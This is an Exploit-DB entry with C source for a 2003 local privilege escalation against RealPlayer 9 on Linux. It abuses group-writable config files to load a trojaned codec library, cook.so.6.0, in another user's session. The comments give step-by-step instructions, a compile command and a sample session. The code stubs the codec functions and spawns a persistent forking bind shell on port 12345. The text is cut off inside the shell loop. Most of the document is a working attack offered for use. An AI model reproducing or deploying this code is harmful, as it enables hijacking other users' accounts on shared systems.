Exploit-DB #93
Description: RealPlayer 9 *nix - Local Privilege Escalation
Type: local
Platform: linux
Date: 2003-09-09
Author: Jon Hart

Exploit:
/**
 * rp9-priv-esc.c 
 *
 * A local privilege escalation attack against the community supported
 * version of Real.com's Realplayer, version 9.
 *
 * Written by:
 * 	
 * 	Jon Hart warchild spoofed.org
 *
 * By default, configuration files are stored in ~$USER/.realnetworks/, 
 * but all the files in there are group writeable.  So long as ~$USER 
 * has group execution permissions (which is pretty common), a malicious
 * local user can edit the config files of fellow users to do his biddings.  
 *
 * There are a number of ways to attack this, but after some poking it seems
 * that modifying the path to shared libraries and writing my own malicious
 * shared libraries was the easiest.  
 * 
 * (as an aside, just because the shared libraries in the directories contained
 * in ~$USER/.realnetworks/RealShared_0_0/ are stripped doesn't mean we can't get 
 * the symbols back.  objdump quickly can tell us what the names of the 15 
 * functions are, and we can stub out a bogus shared library pretty quickly.)
 *
 * This particular bit of code is meant to replace the shared library 
 * cook.so.6.0, which is contained in the Codecs directory.  To execute this 
 * attack against a fellow local user, first edit their config file 
 * (~victim/.realnetworks/RealShared_0_0) to have the 'dt_codecs' variable
 * point to a directory under your control, like /tmp/Codecs.  Copy all of the 
 * existing files from the previous value of dt_codecs (which is usually something
 * like ~victim/Real/Codecs/) to /tmp/Codecs.  Next, compile the code below as a
 * shared library and copy it to the trojaned directory:
 *
 * 
 * `gcc -shared -fPIC -o /tmp/Codecs/cook.so.6.0 rp9-priv-esc.c`
 *
 *	The next time the victim fires up realplayer 9, a nice little shell 
 * will be listening on port 12345 for you:
 *
 * guest@haiti:/$ id
 * uid=1006(guest) gid=100(users) groups=100(users)
 * guest@haiti:/$ nc localhost 12345
 * id
 * uid=1000(warchild) gid=100(users) groups=100(users),40(src),1003(wheel)
 *
 * Of course, you don't have to execute a shell.  Do whatever makes you happy.
 *
 * Fix?  `chmod 700 ~/.realnetworks/*`
 *
 *  Copyright (c) 2003, Jon Hart 
 * All rights reserved.
 *
 *  Redistribution and use in source and binary forms, with or without modification, 
 *  are permitted provided that the following conditions are met:
 *
 *  * Redistributions of source code must retain the above copyright notice, 
 *    this list of conditions and the following disclaimer.
 *  * Redistributions in binary form must reproduce the above copyright notice, 
 *    this list of conditions and the following disclaimer in the documentation 
 *    and/or other materials provided with the distribution.
 *  * Neither the name of the organization nor the names of its contributors may
 *    be used to endorse or promote products derived from this software without 
 *    specific prior written permission.
 *
 *
 *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 
 *  AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 
 *  IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 
 *  ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 
 *  LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 
 *  DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
 *  SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 
 *  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 
 *  OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE 
 *  USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 *
 *
 *
 */
#define PORT 12345
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>

void RAInitEncoder(void) { }
/** This just happens to be one of the first 
 * functions that realplayer calls after cook.so.6.0 is loaded
 */
void RAOpenCodec2(void) { cookthis(); }
void RAOpenCodec(void) {  }
void RAGetNumberOfFlavors(void) {  }
void RACloseCodec(void) {  }
void RADecode(void) {  }
void RAEncode(void) {  }
void RAFreeEncoder(void) {  }
void RAGetNumberOfFlavors2(void) {  }
void RAFreeDecoder(void) {  }
void RAFlush(void) {  }
void RAGetFlavorProperty(void) {  }
void G2(void) { }
void RASetFlavor(void) {  }
void RAInitDecoder(void) {  }
void RACreateEncoderInstance(void) { }

/* Bind /bin/sh to PORT.  It forks
 * and all that good stuff, so it won't 
 * easily go away.
 */
int cookthis() {


        int sock_des, sock_client, sock_recv, sock_len, server_pid, client_pid;
        struct sockaddr_in server_addr; 
        struct sockaddr_in client_addr;

        if ((sock_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
                exit(EXIT_FAILURE); 

        bzero((char *) &server_addr, sizeof(server_addr));
        server_addr.sin_family = AF_INET; 
        server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
        server_addr.sin_port = htons(PORT);

        if ((sock_recv = bind(sock_des, (struct sockaddr *) &server_addr, sizeof(server_addr))) != 0) 
                exit(EXIT_FAILURE); 
        if (fork() != 0) 
                exit(EXIT_SUCCESS); 
        setpgrp();  
        signal(SIGHUP, SIG_IGN); 
        if (fork() != 0) 
                exit(EXIT_SUCCESS); 
        if ((sock_recv = listen(sock_des, 5)) != 0)
                exit(EXIT_SUCCESS); 
        while (1) { 
                sock_len = sizeof(client_addr);
                if ((sock_client = accept(sock_des, (struct sockaddr *) &client_addr, &sock_len)) < 0)
                        exit(EXIT_SUCCESS); 
                client_pid = getpid(); 
                server_pid = fork(); 
                if (server_pid != 0) { 
                        dup2(sock_